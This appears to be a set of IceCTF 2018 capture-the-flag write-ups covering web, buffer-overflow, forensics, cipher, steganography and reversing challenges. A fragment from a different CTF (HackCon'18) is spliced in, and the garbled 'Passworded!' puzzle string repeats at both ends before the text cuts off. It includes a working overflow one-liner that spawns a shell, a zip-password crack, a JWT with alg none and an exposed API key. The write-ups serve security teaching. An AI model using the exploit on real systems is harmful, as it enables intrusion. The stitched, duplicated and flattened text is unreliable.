```(((())|}|}|}|(][)||(}[}||(){[)|(<}|||}|(){[)|(<}(())))|}|{(((}[)||<{(}[)|<(}<(}>|>|||||}||<{(}[)|<>(}>||||}|||}(())))|})|<((}[)||<{(}[)|<(}[))))|>|>|||}||<{(}[)|<>(}>||||}||())|{(}[)|<(}[((((())|}|}|}|}|}(((())|}|}|}|}))))||(}<())[)||||{((}>|[)|<<({<(}[)|||>(}|>|}><}||||||}((((((((((((((((((((())|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}((((((((((((((((((())|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}((((((((((((((((())|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}(((((((((((((((())|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}((((((((((((((())|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}((((((((((((())|}|}|}|}|}|}|}|}|}|}|}|}|}((((((((((())|}|}|}|}|}|}|}|}|}|}|}(((((((((())|}|}|}|}|}|}|}|}|}|}((((((((())|}|}|}|}|}|}|}|}|}(((((((())|}|}|}|}|}|}|}|}((((((())|}|}|}|}|}|}|}|(}[}||(){[)|(<}|||}|(){[)|(<}(((((())|}|}|}|}|}[()))|}))||(}(>||>([)|)[)|{)<<((}||{(}[)||>|}|||}><}}||(){[)|(<}((}|()||{(}[)|<([}|)||||}(){[)|(<}|||}|((}(}||[(}[}||||(((((())|}|}|}|}|}[(())|}|}))))||(}[}||(){[)|(<}|||}|({<}|}((<)||||<}}||(){[)|(<}(()))|})|((}(}||[(}[}||||(}(>||>([)|{)<((}||{(}[)||>|}||}><}}||(()))))|}|(}[}||(){[)|(<}|||}|(){[)|(<}(())|}|({)(}[)|||}))|({)(}[)|||}|(}[}||(){[)|(<}|||}|(){[)|(<}((((}||||(()))))|}|(()))))|}|(}>|({<(}[)|||>(}|>|}><}||((}(}||[(}[}||||(}(>||>{((}||{(}[)||>|}|}>([})|}|([}|}|(()))))|}|(()))))|}|(}>|({<(}[)|||>(}|>|}><}||((}(}||[(}[}||||(}(>||>([)|{)<((}||{(}[)||>|}||}><}}||()|(}[}||(){[)|(<}|||}|((}(}||[(}[}||||(()))))|}|((}(}||[(}[}||||(}(>||>{((}||{(}[)||>|}|}>([})|}|()|(}[}||(){[)|(<}|||}|({<}|}((<)||||<}}||((}||((}((}(}||[(}[}|||||[(}[}||||(}[}||(()))))|}|((}(}||[(}[}||||(}(>||>([)|{)<((}||{(}[)||>|}||}><}}||(()))))|}|((}(}||[(}[}||||(}(>||>{((}||{(}[)||>|}|}>([})|}|({<}|}((<)||||<}}||(){[)|(<}())|())[)[))||[)||(}>|({<(}[)|||>(}|>|}><}||(())|})|()))))|(}>|({<(}[)|||>(}|>|}><}||(}>|({<(}[)|||>(}|>|}><}||(}[}||(){[)|(<}|||}|(){[)|(<}((())|}|}|({(}|(}|(}[)|||}|(()))))|}|([}|}|(}[}||(){[)|(<}|||}|(){[)|(<}()>|>|||}|{}((<(]|{(}[)|<}|||}||||}|||}|{}((<(]|{(}[)|<}|||}||||}|||}|{}((<(]|{(}[)|<}|||}||||}|||}|{}((<(]|{(}[)|<}|||}||||}|||}|{}((<(]|{(}[)|<}|||}||||}|||}|{}((<(]|{(}[)|<}|||}||||}|||}|{}((<(]|{(}[)|<}|||}||||}|||}|{}((<(]|{(}[)|<}|||}||||}|||}(>{<}|}((<)||||<}}|>||||}|{}((<(]|{(}[)|<}|||}||||}```
**Flag**```flag```
## Misc 10: Hello World!
**Challenge**
Welcome to the competition! To get you started we decided to give you your first flag. The flags all start with the "IceCTF" and have some secret message contained with in curly braces "{" and "}".
Within this platform, the challenges will be shown inside a frame to the right. For example purposes the download interface is shown on the right now. For static challenges you will need to click the large button in order to receive your challenge. For non static challenges, the lab itself will be shown on the right.
To submit the flag you can click the blue flag button in the bottom right hand corner.
Your flag is `IceCTF{this_is_a_flag}`
**Solution**
`CTRL+C, CTRL+V`
**Flag**
```IceCTF{this_is_a_flag}```
## Misc 250: anticaptcha
**Challenge**
Wow, this is a big captcha. Who has enough time to solve this? Seems like a lot of effort to me!
https://gg4ugw5xbsr2myw-anticaptcha.labs.icec.tf/
**Solution**
looks like we will have to answer these questions to get the flag. We automate this:
```python
from bs4 import BeautifulSoupimport requestsfrom fractions import gcd as _gcdimport mathimport reimport sysfrom itertools import count, islicefrom math import sqrt
URL = "https://gg4ugw5xbsr2myw-anticaptcha.labs.icec.tf/"
def isprime(n): n = int(n) return n > 1 and all(n%i for i in islice(count(2), int(sqrt(n)-1)))
def gcd(a, b): return _gcd(int(a), int(b))
def nthword(a, b): return b.replace('.',' ').replace(' ',' ').split(' ')[int(a)]
asdf = { 'What is the greatest common divisor of (?P[0-9]+) and (?P[0-9]+)?': gcd, 'Is (?P[0-9]+) a prime number?': isprime, 'What is the (?P[0-9]+).. word in the following line:(?P.*)': nthword, 'What is the tallest mountain on Earth?': lambda: "Mount Everest", 'What is the capital of Hawaii?': lambda: "Honolulu", 'What color is the sky?': lambda: "blue", 'What year is it?': lambda: "2018", 'Who directed the movie Jaws?': lambda: "Steven Spielberg", 'What is the capital of Germany?': lambda: "Berlin", 'Which planet is closest to the sun?': lambda: "Mercury", 'How many strings does a violin have?': lambda: "4", 'How many planets are between Earth and the Sun?': lambda: "2",}
data = requests.get(URL)
answers = []
html_doc = data.textsoup = BeautifulSoup(html_doc, 'html.parser')for idx, td in enumerate(soup.find_all('td')): if idx % 2 == 1: continue
text = td.text.replace('\n', '')
matched = False for (m, func) in asdf.items(): match = re.match(m, text) if match: matched = True answers.append(str(func(*match.groups())))
if not matched: print("> %s <" % text)
r = requests.post(URL, headers={'Content-type': 'application/x-www-form-urlencoded'}, data={'answer': answers})print(r.text[:1000])```
when we get it right, the page responds with our flag
**Flag**```IceCTF{ahh_we_have_been_captchured}```
## Misc 200: ilovebees
**Challenge**
I stumbled on to this strange website. It seems like a website made by a flower enthusiast, but it appears to have been taken over by someone... or something.
Can you figure out what it's trying to tell us?
https://static.icec.tf/iloveflowers/
**Solution**
website:
The website seems to be a reference to Halo (https://en.wikipedia.org/wiki/I_Love_Bees)
We download the [entire website](writeupfiles/static.icec.tf/iloveflowers/)
```wget -m https://static.icec.tf/iloveflowers/```
After much searching, the flag turns out to be the favicon gif file:
We see nothing with `strings` or `binwalk` or in the exifdata, but after we extract all the frames to png images
```convert -coalesce favicon.gif out%03d.png```
and run examine the exifdata
```bash$ exiftool out*.png======== out-0.pngExifTool Version Number : 10.60File Name : out-0.pngDirectory : .File Size : 746 bytesFile Modification Date/Time : 2018:09:16 18:45:41+02:00File Access Date/Time : 2018:09:16 18:45:56+02:00File Inode Change Date/Time : 2018:09:16 18:45:41+02:00File Permissions : rw-rw-r--File Type : PNGFile Type Extension : pngMIME Type : image/pngImage Width : 16Image Height : 16Bit Depth : 8Color Type : PaletteCompression : Deflate/InflateFilter : AdaptiveInterlace : NoninterlacedGamma : 2.2White Point X : 0.3127White Point Y : 0.329Red X : 0.64Red Y : 0.33Green X : 0.3Green Y : 0.6Blue X : 0.15Blue Y : 0.06Palette : (Binary data 285 bytes, use -b option to extract)Background Color : 59Modify Date : 2018:09:06 15:20:54Datecreate : 2018-09-16T18:41:49+02:00Datemodify : 2018-09-06T15:20:54+02:00Image Size : 16x16Megapixels : 0.000256======== out-100.pngExifTool Version Number : 10.60File Name : out-100.png
[..]
```
we see that they each have binary metadata embedded that we can extract using the -b option:
```bash$ exiftool -b out*.png > outbinary```
this file doesnt look like much, we could probably clean it up, but a `strings` already gives us the flag:
```bash$ strings outbinary | grep IceIceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}IceCTF{MY_FAVORITE_ICON}```
**Flag**```IceCTF{MY_FAVORITE_ICON}```
## Misc 300: Secret Recipe
**Challenge**
I found this secret recipe when I was digging around in my Icelandic grandmother's attic. I have a feeling that she might have been a part of some secret organization. Can you see if there are any other secrets hidden in the recipe?
**Solution**
Transcription:
> Leyniuppskrift:>> Byrjaðu á að brjóta 5 egg og setja svo 3 matskeiðar af skyri í skál. Hrærið> svo 9 desilítra af hveiti út í ásamt 3 desilítrum af mjólk. Svo skal setja 7> teskeiðar af lyftidufti og 2 teskeiðar af vanilludropum áður enn það eru sett> 9 grömm af smjöri í skálina.>> Hrærið þessu rækilega saman og setjið svo út á pönnu.>> Alveg eins og amma gerði þða
Translation:
> Secret Recipe>> Start breaking 5 eggs and then put 3 tablespoons of sprouts into a bowl. Stir> 9 decilitres of flour together with 3 deciliters of milk. Then put 7> teaspoons of baking soda and 2 teaspoons of vanilla pods before putting 9> grams of butter in the bowl.>> Stir this thoroughly and then place it on a pan.>> Just like a grandmother made a pillow
**Flag**```flag```
|
These are standard encodings from binary (b) to hexadecimal (x). We can use Python's built-in parser for these common forms (except for decimal).
For example:```python>>> int('0b111000', 0)56>>> chr(56)'8
```
__Solution:__
```pythonwith open('30.txt') as message: codes = message.readline().split()
ans = [int('0{}'.format(e), 0) if e[0] != 'd' else int(e[1:]) for e in codes]ans = [chr(e) for e in ans]print(''.join(ans))```
__Output:__
```Hi! Welcome to HackCon'18, organised as part of Esya'18 by IIIT Delhi. In case you're seeking a reward for your efforts, here's a flag : d4rk{i_Wis#_A1l_t4sk5_w3r3_thi5_345y_XDD}c0de. Anyways, hope you have a good time ;)```
__Flag:__
```d4rk{i_Wis#_A1l_t4sk5_w3r3_thi5_345y_XDD}c0de``` |
# IceCTF 2018
2-Week-long Icelandic CTF in September 2018
Team: Galaxians
## Overview```Title Category Points Flag------------------------------ -------------- ------ -----------------------------Toke Relaunch Web 50 IceCTF{what_are_these_robots_doing_here}Lights out Web 75 IceCTF{styles_turned_the_lights}Friðfinnur Web 200 IceCTF{you_found_debug}History of Computing Web 350
Simple Overflow Binary 250Cave Binary 50 IceCTF{i_dont_think_caveman_overflowed_buffers}Twitter Binary 800
Modern Picasso Forensics 150 IceCTF{wow_fast}Hard Shells Forensics 200 IceCTF{look_away_i_am_hacking}Lost in the Forest Forensics 300 IceCTF{good_ol_history_lesson}
garfield Cryptography 100 IceCTF{I_DONT_THINK_GRONSFELD_LIKES_MONDAYS}Posted! Cryptography 250Think outside the key! Cryptography 200Ancient Foreign Communications Cryptography 300 IceCTF{squeamish ossifrage}
Drumbone Steganography 150 IceCTF{Elliot_has_been_mapping_bits_all_day}Hot or Not Steganography 300 IceCTF{h0td1gg1tyd0g}Rabbit Hole Steganography 400 IceCTF{if_you_see_this_youve_breached_my_privacy}
Locked Out Reversing 200Poke-A-Mango Reversing 250Passworded! Reversing 400
Hello World! Misc 10 IceCTF{this_is_a_flag}anticaptcha Misc 250 IceCTF{ahh_we_have_been_captchured}ilovebees Misc 199 IceCTF{MY_FAVORITE_ICON}Secret Recipe Misc 290```
## Web 50: Toke Relaunch
**Challenge**
We've relaunched our famous website, Toke! Hopefully no one will hack it again and take it down like the last time.
**Solution**
The link leads to some marijuna website
Last edition the toke challenge had the flag hidden in a cookie, but no cookies are set this time, so we have to look elsewhere
We check the robots.txt file and see:
```User-agent: *Disallow: /secret_xhrznylhiubjcdfpzfvejlnth.html
```
the disallowed file contains our flag.
**Flag**```IceCTF{what_are_these_robots_doing_here}```
## Web 75: Ligths out
**Challenge**
Help! We're scared of the dark!
https://static.icec.tf/lights_out
**Solution**
We see a black page
with source:
```html
<html> <head> <meta charset="utf-8" /> <title>Lights out!</title> <link rel="stylesheet" href="main.css" /> </head> <body> <div class="alert alert-danger">Who turned out the lights?!?!</div> <summary> <div class="clearfix"> <small></small> <small></small> </div> </summary> </body></html>
```
Some fiddling with the css yields the flag
**Flag**
```IceCTF{styles_turned_the_lights}```
## Web 200: Friðfinnur
**Challenge**
Eve wants to make the hottest new website for job searching on the market! An avid PHP developer she decided to use the hottest new framework, Laravel! I don't think she knew how to deploy websites at this scale however....
https://gg4ugw5xbsr2myw-fridfinnur.labs.icec.tf/
**Solution**
Not sure if this was the intended solution, but requesting an url for a nonexistant job listing lead to an error message containing the flag:
https://29nd70ux6kr7ala-fridfinnur.labs.icec.tf/jobs/galaxian
**Flag**```IceCTF{you_found_debug}```
## Web 350: History of Computing
**Challenge**
One of the authors of IceCTF made this page but I don't think it's very accurate. Can you take hack it before the IceCTF team gets sued?
**Solution**
A blogging website with registration/login forms and comment submission
If we log in we get a cookie
```token: eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6InRlc3R1c2VyIiwiZmxhZyI6IkljZUNURntob3BlIHlvdSBkb24ndCB0aGluayB0aGlzIGlzIGEgcmVhbCBmbGFnfSJ9.session: eyJ1c2VyIjozfQ.DnrHzA.T60QwnNSuvq2HH0VSnNqqzFZ-24```
which base64 decode to:
```token: {"typ":"JWT","alg":"none"}.{"username":"testuser","flag":"IceCTF{hope you don't think this is a real flag}"}session: {"user":3}.?.?```
**Flag**
## Binary Exploit 200: Simple Overflow
**Challenge**
In programming, a buffer overflow is a case where a program, while it is writing data somewhere, overruns the boundary and begins overwriting adjacent memory. This is one of the first vulnerabilities used to exploit software. Modern programming languages tend to provide protection against this type of vulnerability, but it is still observed commonly in low-level software.
Buffer overflows can be a complex vulnerability to understand and exploit due to their low-level nature. To assist you in your training, we have provided a memory simulation in the middle to help you understand what happens when your input in the textbox is passed to the program on the left. The simulation shows you the memory layout of the underlying process, where your buffer is red, and the secret value is green. Try entering values into the box and observe how the values that the program sees change on the left.
In this case, the buffer sits on top of the stack memory, with the variable secret sitting just below it. As you will observe, the size limitation placed on buffer is not enforced, allowing you to write more than 16 characters. Get a feel for buffer overflows by exploring the above code.
Once you are comfortable with buffer overflows, exploit the program to grant you the flag.
[overflow.c](writeupfiles/overflow.c)
**Instructions**1. Hello world!In the textbox in the middle, try entering Hello World!. Observe which variable within the code takes the value.
2. Overflow!What happens if you write more than 16 characters into the buffer? Can you make the secret change?
3. Take controlCan you make secret take the value 1633771873 (0x61616161). Note that strings are stored in ASCII, and in ASCII, character number 0x61 is a.
4. Little endianIn most architectures, integers are read in reverse byte order from memory, in a method which is called Little endian. Can you make the secret take the value 1633837924 (0x61626364)?
5. Escape from ASCIIAs you may see in the code, to get past the restrictions and retrieve the flag, secret needs to have a value of 0xcafebabe. However not all these characters are in ASCII! What will you do?
**Solution**
We examine the source code
```c#define _GNU_SOURCE#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/types.h>
const char* FLAG = "<REDACTED>"
void flag() { printf("FLAG: %s\n", FLAG);}
void message(char *input) {
char buf[16] = "";
int secret = 0;
strcpy(buf, input);
printf("You said: %s\n", buf);
if (secret == 0xcafebabe) { flag(); } else { printf("The secret is 0x%x\n", secret); }}
int main(int argc, char **argv) { if (argc > 1){ message(argv[1]); } else { printf("Usage: ./overflow <message>\n"); } return 0;}```
**Flag**
## Binare Exploit 50: Cave
**Challenge**
You stumbled upon a cave! I've heard some caves hold secrets.. can you find the secrets hidden within its depths?
```c#define _GNU_SOURCE#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/types.h>
void shell() { gid_t gid = getegid(); setresgid(gid, gid, gid); system("/bin/sh -i");}
void message(char *input) { char buf[16]; strcpy(buf, input);
printf("The cave echoes.. %s\n", buf);}
int main(int argc, char **argv) { if (argc > 1){ message(argv[1]); } else { printf("Usage: ./shout <message>\n"); } return 0;}```
**Solution**
Another buffer overflow challenge, this time we need to overwrite the return address to call the `shell()` function.First we need to find out what that address should be, we can do this with gdb's `info functions shell` or`objdump -d ./shout | grep shell` and find out that the address is `0x0804850b`
So we need to overwrite the return address with this address, in little endian order:
```./shout `python -c "print('a'*28+'\x0b\x85\x04\x08')"````
this gives us a root shell and we can read the contents of `flag.txt` to read our flag:
**Flag**
```IceCTF{i_dont_think_caveman_overflowed_buffers}```
## Binary Exploit 800: Twitter
**Challenge**
Someone left a time machine in the basement with classic games from the 1970s. Let me play these on the job, nothing can go wrong.
```ssh -p 2222 ssh.icec.tf -l gg4ugw5xbsr2myw-twitter```
**Solution**
**Flag**
## Forensics 150: Modern Picasso
**Challenge**
Here's a rendition of some modern digital abstract art. Is it more than art though?
**Solution**
Using imagemagick to convert the white background in each frame to transparant:
```convert picasso.gif -transparent white picasso_transparent.gif```
gives a gif that slowly builds up the flag:
**Flag**
```IceCTF{wow_fast}```
## Forensics 200: Hard Shells
**Challenge**
After a recent hack, a laptop was seized and subsequently analyzed. The victim of the hack? An innocent mexican restaurant. During the investigation they found this suspicous file. Can you find any evidence that the owner of this laptop is the culprit?
[file](writeupfiles/hardshells)
**Solution**
the file is an encrypted zip file.
we use fcrackzip with the crackstation wordlist to find the password
```bash$ fcrackzip -v --use-unzip -D -p wordlist hardshells.zip'hardshells/' is not encrypted, skippingfound file 'hardshells/d', (size cp/uc 309500/5242880, flags 9, chk 91d0)checking pw TILIGUL'S
PASSWORD FOUND!!!!: pw == tacos```
the [file we get](writeupfiles/d) now is a Minix filesystem
```bash$ file dd: Minix filesystem, V1, 30 char names, 20 zones```
Running `strings`, we found `IHDR` indicating it might be a PNG file. Comparingthe file (in vim) to a normal PNG file we discovered they'd changed PNG to PUGand the file became valid.
This gives us a nice screenshot of someone's desktop, with the flag.
**Flag**```IceCTF{look_away_i_am_hacking}```
## Forensics 300: Lost in the Forest
**Challenge**You've rooted a notable hacker's system and you're sure that he has hidden something juicy on there. Can you find his secret?
**Solution**We receive a zip file named 'fs.zip' which contains a partial root file system of our hacker's machine. After unzipping we looked for all potentially interesting files:
```find -type f .```
And spotted './home/hkr/Desktop/clue.png' which is just a picture of a redherring. Cute. So the other dozens of JPGs are probably also red herrings. Nextwe looked for more interesting files and just looked at them individually witha text editor:
```vim `find -type f .````
Most were rather uninteresting, but there was a base64 looking string,`./home/hkr/hzpxbsklqvboyou` which might be interesting later. In`.bash_history` there were some interesting commands:
```wget https://gist.githubusercontent.com/Glitch-is/bc49ee73e5413f3081e5bcf5c1537e78/raw/c1f735f7eb36a20cb46b9841916d73017b5e46a3/eRkjLlksZpmv eRkjLlksZp tool.py./tool.py ../secret > ../hzpxbsklqvboyou```
So that script generated the base64 stuff on the desktop. We'll just write a [decode version of the script](./writeupfiles/lost-in-the-forest.py) and decrypt our output.
**Flag**```IceCTF{good_ol_history_lesson}```
## Cryptography 100: garfeld
**Challenge**
You found the marketing campaign for a brand new sitcom. Garfeld! It has a secret message engraved on it. Do you think you can figure out what they're trying to say?
**Solution**
The image reads:
`IjgJUO{P_LOUV_AIRUS_GYQUTOLTD_SKRFB_TWNKCFT}`
Looks like the flag but encrypted somehow
Turns out to be vigenere with key `ahchbjhi`
we later realized that the `07271978` at the top of the image is a hint for this key with A=0,B=1 etc
**Flag**
```IceCTF{I_DONT_THINK_GRONSFELD_LIKES_MONDAYS}```
## Cryptography 250: Posted!
**Challenge**
Apparently some bitwise boi is posting flags all over the place. He gave us a hint, though.
```DychGDZJRRsEUTI0JDViVlxeZyFIBCM7MwosGRQCMCgZJCIrGCsoRkFIajcSKhBTGx9XeTV4MDlZB1Y=```
He also gave us another hint: 41
**Solution**
base64 decode, then probably one or more bitwise operation (due to mention of 'bitwise boi' in description), likely involving the number 41
**Flag**
## Cryptography 400: Think outside the key
**Challenge**
Estelle was messing around with her computer and she ended up outputting some garbage! Could you figure out what this means?!
Note: The flag is of the format `IceCTF{<text>}` where `<text>` is the decrypted text.
[mess.txt](writeupfiles/mess.txt)
**Solution**
```i⇧fjag8⇧qv⇧qy4⇧dag8k0q⇧ptag86⇧s⇧hec⇧l⇧c4ag8z3ssag8⇧q7y66b```
**Flag**```flag```
## Cryptography 300: Ancient Foreign Communications
**Challenge**We got word from a friend of ours lost in the depths of the Andorran jungles! Help us figure out what he is trying to tell us before its too late!
Note: The flag here is non-standard, in the result you should end up with some words! The flag is IceCTF{<words, lowercase, including spaces>}
**Solution**We're given a file with hex bytes, we can use `xxd` to covnert that into the appropriate characters/bytes:
```xxd -r -p comms.txt > out.txt```
Which is full of some fun symbols?
```⨅]]⌞⌞⌟[⨆]⌟]]]⨆⨆⨆⌜[[[⌝⌝⌝⌞⌝⌝⌝⌝⨆⌝⌝⌝⌞⌞⌝⌝⌝⌝⌟⌝⌝⨅⨅⌞⌞⨆[]]]⌝⌝⌝⌝]]⌟[[[⌝⌝⌝⌝⌟⌝⌝⌝⌝]]]⌞⌞⌞⌝⌝⌝⨆]⌞⌞```
combining pigpen cipher with T9 we translate this to:
```⨅ ]] ⌞⌞ ⌟ [ ⨆ ] ⌟ ]]] ⨆⨆⨆ ⌜ [[[ ⌝⌝⌝ ⌞ ⌝⌝⌝⌝ ⨆ ⌝⌝⌝ ⌞⌞ ⌝⌝⌝⌝ ⌟ ⌝⌝ ⨅⨅ ⌞⌞ ⨆ [ ]]] ⌝⌝⌝⌝ ]] ⌟ [[[ ⌝⌝⌝⌝ ⌟ ⌝⌝⌝⌝ ]]] ⌞⌞⌞ ⌝⌝⌝ ⨆ ] ⌞⌞t h e _ m a g _ i c w o r d s a r e s _ q u e a m i s h _ o s _ s i f r a g e```
method explained:
- `⨅` in pigpen would signify `H`, when we instead combine this with T9, it would mean the letter `t` (one press on the number `8`)- `]]` would be the `dd` in classic pigpen, but now signifies 2 presses on the number `4`, which would be an `h`- `⌞⌞` is two presses on the 3, so a letter `e`- etc
This gives us the sentence
```the magic words are squeamish ossifrage```
Which was the solution to a challenge ciphertext set by the inventor of RSA in 1977 ([link](https://en.wikipedia.org/wiki/The_Magic_Words_are_Squeamish_Ossifrage))
**Flag**```IceCTF{squeamish ossifrage}```
## Steganography 150: Drumbone
**Challenge**
I joined a couple of hacking channels on IRC and I started recieving these strange messages. Someone sent me this image. Can you figure out if there's anything suspicous hidden in it?
**Solution**
Nothing in exif data, nothing with binwalk, nothing obvious, so we check the LSB of each challenge. The blue channel seems to consist of only odd number, this seems suspicious so we investigate furter. Mapping the LSB of each of the RGB channels to black or white gives the following result:
```pythonfrom PIL import Image
img = Image.open('drumbone.png')pixels = img.load()
(w,h) = img.sizeprint(w,h)
outimg_r = Image.new('RGB', (w,h), "white")outimg_g = Image.new('RGB', (w,h), "white")outimg_b = Image.new('RGB', (w,h), "white")
pixels_r = outimg_r.load()pixels_g = outimg_g.load()pixels_b = outimg_b.load()
for i in range(0,w): for j in range(0,h): (r,g,b) = pixels[i,j] if not r&1: pixels_r[i,j] = (0,0,0) if not g&1: pixels_g[i,j] = (0,0,0) if not b&1: pixels_b[i,j] = (0,0,0)
outimg_r.save("outimg_r.png")outimg_g.save("outimg_g.png")outimg_b.save("outimg_b.png")```
This gives us the following images:
Bingpot! the blue channel seems to contain a QR code!
We clean up the image a bit to get our flag:
```pythonfrom PIL import Image
img = Image.open('drumbone.png')pixels = img.load()
(w,h) = img.sizeoutimg_b = Image.new('RGB', (outw,outh), "white")pixels_b = outimg_b.load()
wout = -1hout = -1for i in range(1,w,6): wout += 1 hout = -1 for j in range(1,h,6): hout+=1 (r,g,b) = pixels[i,j] if not b&1: pixels_b[wout,hout] = (0,0,0)
outimg_b = outimg_b.resize((10*outw,10*outh))outimg_b.save("outimg_b.png")```
**Flag**```IceCTF{Elliot_has_been_mapping_bits_all_day}```
## Steganography 300: Hot or Not
**Challenge**
According to my friend Zuck, the first step on the path to great power is to rate the relative hotness of stuff... think Hot or Not.
(this is a scaled-down image, original was >70Mb)
**Solution**
Looking at the image more closely, we see it is made up of a series of subimages of either dogs or hotdogs.
Looks like we have to classify the subimages into hotdogs or regular dogs..
First we split the image up into all its subimages with imagemagick
```bash$ convert -crop 224x224 +repage hotdogs/out%04d.jpg```
Next, we can use [Clarifai](https://clarifai.com) to do the image recognition to determine whether the subimages are dogs or hotdogs. Clarifai gives you 5000 free operations per month, but since we have a little over 7500 subimages, we needed two accounts to perform this analysis.
```pythonimport osimport jsonfrom PIL import Imagefrom clarifai.rest import ClarifaiAppfrom clarifai.rest import Image as ClImage
app = ClarifaiApp(api_key='f7f15032b1a04f1fafc2092c63e50e9f')model = app.models.get('general-v1.3')
# detect image contents for all subimagespixels = []for i in range(0,87*87): image = ClImage(file_obj=open("hotdogs/out"+str(i).zfill(4)+".jpg", 'rb')) response = model.predict([image])
hot = False concepts = response['outputs'][0]['data']['concepts'] for concept in concepts: if 'food' in concept['name']: hot = True pixels += [1 if hot == True else 0]
# make qr code image(w,h)=(87,87)
outimg = Image.new( 'RGB', (w,h), "white")pixels_out = outimg.load()
p = 0for i in range(0,h): for j in range(0,w): print(pixels[p]) if pixels[p] == 1: pixels_out[j,i]=(0,0,0) else: pixels_out[j,i]=(255,255,255) p += 1
outimg = outimg.resize((5*w,5*h))outimg.save("pixels_outimg2.png","png")```
This outputs the following image:
This is clearly a QR code, it is just missing the corner anchors. We add these and clean the image up slightly:
**Flag**```IceCTF{h0td1gg1tyd0g}```
## Steganography 400: Rabbit Hole
**Challenge**
Here's a picture of my favorite vegetable. I hope it doesn't make you cry.
**Solution**
After a lot of experimenting, we find out we can uncover a hidden message from the image using steghide:
```bash$ steghide extract -sf rabbithole.jpgEnter passphrase: <onion>wrote extracted data to "address.txt".```
whoo! contents of the file `address.txt` is:
```wsqxiyhn23zdi6ia```
might be an `.onion` link? Opening `http://wsqxiyhn23zdi6ia.onion` with a tor browser (or via https://onion.link/) gives:
[rabbithole.html](writeupfiles/rabbithole.html)
```html
<html> <head> <title>Rabbit Hole</title> <meta charset="UTF-8"> <style> body { background: black; }
p { max-width: 750px; text-align: center; color: #00ff00; margin: 0px auto; }
#header { max-width: 989px; margin: 0px auto; }
#footer { margin: 100px 0; text-align: center; }
#error { max-width: 350px; }
#eyes { max-width: 200px; } </style> </head> <body> <div id="header"> </div> 聐㠃㐊㐀㐀膜舕㐀㐀㐀㐀㐀㐀㐵㐜ꕳ???? [..]
聐㠃㐊㐀㐀膜舕㐀㐀㐀㐀㐀㐀㐵㐜ꕳ???? [..]
<div id="footer"> </div> </body></html>
```
We find nothing in the images, but after some hints we find that the chinese characters are [base65536](https://github.com/Parkayun/base65536)
[file with just the characters](writeupfiles/rabbithole_characters.txt)
```python# pip install base65536
import base65536
with open('rabbithole_characters.txt','r') as f: ct = f.readline().rstrip().replace(' ','')
with open('rabbithole_out','wb') as f2: f2.write(base65536.decode(ct))```
which turns out to be an [epub](writeupfiles/rabbithole_out.epub) on cell phone hacking. Searching the contents for the flag gives it to us
**Flag**```IceCTF{if_you_see_this_youve_breached_my_privacy}```
## Reverse Engineering 200: Locked out
**Challenge**This is a fancy looking lock, I wonder what would happen if you broke it open?
```ssh -p 2222 ssh.icec.tf -l gg4ugw5xbsr2myw-lockedout```
Note: the binary is [here](writeupfiles/lock)
**Solution**
**Flag**
## Reverse Engineering: Poke-A-Mango
**Challenge**
I love these new AR games that have been coming out recently, so I decided that I would make my own with my favorite fruit! The Mango!
Can you poke 151 mangos?
NOTE Make sure that you allow the app access to your GPS location and camera otherwise the app will not work. You can do that in App Permissions in Settings.
[apk](writeupfiles/pokemango.apk)
**Solution**
installing the app gives a map and a shop menu where it appears you need to find 151 mangoes to get the flag
We decompile the app:
```apktool decode pokemango.apk```
**Flag**```
```
## Reverse Engineering 400: Passworded!
**Challenge**
Alice loves to cause mayhem, and recently she sent this message to Bob! Bob is nothing but confused, leading to him asking for your help. Don't let the world descend into chaos!
Note: The flag is of the format `IceCTF{<text>}` where `<text>` is the string the program accepts.
[password.txt](writeupfiles/password.txt)
**Solution**
```(((())|}|}|}|(][)||(}[}||(){[)|(<}|||}|(){[)|(<}(())))|}|{(((}[)||<{(}[)|<(}<(}>|>|||||}||<{(}[)|<>(}>||||}|||}(())))|})|<((}[)||<{(}[)|<(}[))))|>|>|||}||<{(}[)|<>(}>||||}||())|{(}[)|<(}[((((())|}|}|}|}|}(((())|}|}|}|}))))||(}<())[)||||{((}>|[)|<<({<(}[)|||>(}|>|}><}||||||}((((((((((((((((((((())|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}((((((((((((((((((())|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}((((((((((((((((())|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}(((((((((((((((())|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}((((((((((((((())|}|}|}|}|}|}|}|}|}|}|}|}|}|}|}((((((((((((())|}|}|}|}|}|}|}|}|}|}|}|}|}((((((((((())|}|}|}|}|}|}|}|}|}|}|}(((((((((())|}|}|}|}|}|}|}|}|}|}((((((((())|}|}|}|}|}|}|}|}|}(((((((())|}|}|}|}|}|}|}|}((((((())|}|}|}|}|}|}|}|(}[}||(){[)|(<}|||}|(){[)|(<}(((((())|}|}|}|}|}[()))|}))||(}(>||>([)|)[)|{)<<((}||{(}[)||>|}|||}><}}||(){[)|(<}((}|()||{(}[)|<([}|)||||}(){[)|(<}|||}|((}(}||[(}[}||||(((((())|}|}|}|}|}[(())|}|}))))||(}[}||(){[)|(<}|||}|({<}|}((<)||||<}}||(){[)|(<}(()))|})|((}(}||[(}[}||||(}(>||>([)|{)<((}||{(}[)||>|}||}><}}||(()))))|}|(}[}||(){[)|(<}|||}|(){[)|(<}(())|}|({)(}[)|||}))|({)(}[)|||}|(}[}||(){[)|(<}|||}|(){[)|(<}((((}||||(()))))|}|(()))))|}|(}>|({<